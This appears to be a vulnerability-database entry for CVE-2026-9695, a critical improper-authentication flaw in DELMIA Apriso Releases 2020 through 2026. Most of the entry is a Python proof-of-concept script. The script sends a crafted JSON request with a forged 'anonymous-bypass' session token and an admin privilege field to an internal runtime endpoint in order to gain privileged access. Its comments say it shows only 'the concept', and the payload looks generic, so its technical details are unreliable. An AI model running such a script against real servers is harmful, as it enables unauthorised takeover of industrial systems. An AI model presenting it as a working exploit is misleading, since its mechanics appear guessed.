An Improper Authentication vulnerability affecting DELMIA Apriso from Release 2020 through Release 2026 could allow an attacker to gain privileged access to the server.
CVSS Details
CVSS Score
9.8
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Configurations (Affected Products)
No configuration data available.
DELMIA Apriso Release 2020
DELMIA Apriso Release 2021
DELMIA Apriso Release 2022
DELMIA Apriso Release 2023
DELMIA Apriso Release 2024
DELMIA Apriso Release 2025
DELMIA Apriso Release 2026
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-9695 - DELMIA Apriso Improper Authentication PoC
# This PoC demonstrates the concept of bypassing authentication
# on DELMIA Apriso Release 2020-2026 to gain privileged access.
import requests
import sys
TARGET_URL = "http://target-delmia-apriso-host:port"
AUTH_ENDPOINT = "/Apriso/Default.aspx" # Authentication page
API_ENDPOINT = "/Apriso/Runtime/RuntimeService" # Internal API endpoint
def exploit_improper_auth(target):
"""
Exploit improper authentication by sending a crafted request
that bypasses the normal login flow due to missing server-side
validation of authentication state.
"""
session = requests.Session()
# Step 1: Probe the authentication endpoint
try:
resp = session.get(f"{target}{AUTH_ENDPOINT}", timeout=10)
print(f"[+] Auth endpoint reachable, status: {resp.status_code}")
except Exception as e:
print(f"[-] Cannot reach target: {e}")
return False
# Step 2: Attempt authentication bypass via crafted request
# The vulnerability allows direct access to privileged resources
# without valid credentials due to improper authentication checks.
headers = {
"User-Agent": "Mozilla/5.0",
"Content-Type": "application/json",
"X-Requested-With": "XMLHttpRequest"
}
# Craft a request that exploits the authentication flaw
bypass_payload = {
"operation": "GetUserInfo",
"privilege": "admin",
# Missing or forged session token accepted by server
"sessionToken": "anonymous-bypass"
}
try:
resp = session.post(
f"{target}{API_ENDPOINT}",
json=bypass_payload,
headers=headers,
timeout=10
)
if resp.status_code == 200 and "admin" in resp.text.lower():
print("[+] Authentication bypassed! Privileged access obtained.")
print(f"[+] Response: {resp.text[:500]}")
return True
else:
print(f"[-] Bypass attempt failed, status: {resp.status_code}")
return False
except Exception as e:
print(f"[-] Exploit error: {e}")
return False
if __name__ == "__main__":
target = sys.argv[1] if len(sys.argv) > 1 else TARGET_URL
exploit_improper_auth(target)